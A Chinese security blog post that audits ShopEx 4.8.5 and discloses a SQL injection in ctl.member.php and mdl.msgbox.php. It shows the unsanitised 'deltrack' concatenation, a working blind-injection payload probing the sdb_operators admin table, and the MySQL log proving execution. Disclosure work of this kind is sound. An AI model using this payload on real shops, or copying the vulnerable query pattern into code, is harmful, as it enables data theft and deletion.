您的位置 » 首页 » 代码审计,实用工具 » 代码审计:shopex ctl.member.php文件SQL注入漏洞

代码审计:shopex ctl.member.php文件SQL注入漏洞

发表于3年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年08月17日 | 文章热度:68,520 次 全屏阅读

显示不全请点击全屏阅读

又是sql注入漏洞 测试版本:shopex-singel-4.8.5.78660

文件:\core\shop\controller\ctl.member.php

function delTrackMsg() {
        if(!empty($_POST['deltrack'])){
            $oMsg = &$this->system->loadModel('resources/msgbox');
            $oMsg->delTrackMsg($_POST['deltrack']);
            $this->splash('success', $this->system->mkUrl("member","track"), __('删除成功'));
        }else{
            $this->splash('failed', $this->system->mkUrl("member","track"), __('删除失败: 没有选中任何记录!'));
        }
    }

跟进$oMsg->delTrackMsg($_POST[‘deltrack’]);
 
在文件:\core\model_v5\resources\mdl.msgbox.php
public function delTrackMsg( $aMsgId )
{
       foreach ( $aMsgId as $val )
       {
if ( $val )
{
$aTmp[] = $val;
}
}
if ( $aTmp )
{
$this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" );
$this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" );
}
return true;
}
出现在DELETE语句的sql注入纯粹是体力活,通过是否删除了message作为判断依据慢慢查吧
 
提交数据包;deltrack[1]=1) and (select count(*) from sdb_operators)=1%23
 
查看sql执行记录:

130526 20:31:25   360 Connect root@localhost on 
 360 Init DB shopex
 360 Query SET NAMES 'utf8'
 360 Query SELECT * FROM sdb_plugins WHERE plugin_type="app"
 360 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1
 360 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1
 360 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1
 360 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1
 360 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20
 360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1
 360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1
 360 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1
 360 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#) AND del_status='1'

执行成功
 
 
漏洞证明:
 
 
因为(select count(*) from sdb_operators)=1,所以msg_id=1的记录被删除。
 
慢慢猜解吧。。。

作者:code_sec

Tags:

ShopEx漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/3307/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)